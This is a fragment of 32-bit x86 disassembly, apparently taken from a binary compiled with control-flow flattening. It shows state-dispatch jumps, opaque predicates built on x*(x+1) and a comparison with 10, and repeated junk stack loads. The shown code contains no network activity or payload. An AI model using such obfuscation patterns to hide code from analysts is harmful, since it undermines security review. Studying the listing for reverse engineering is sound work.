mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x64fb488d
jmp 0x4016e3
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0x113762d8
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0x65838ecd
mov esi, 0x8426d6ec
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8426d6ec
jmp 0x4016e3
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xfdafdb88
mov edi, 0x7d349d48
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xbcacfa4c
mov esi, 0x6bbbc3cc
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6bbbc3cc
jmp 0x4016e3
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xec]
mov dword [ecx], eax
mov eax, 0x739b1c06
jmp 0x401700
cmp eax, 0x36484d8a
jne 0x401700
mov esi, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043a0c0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret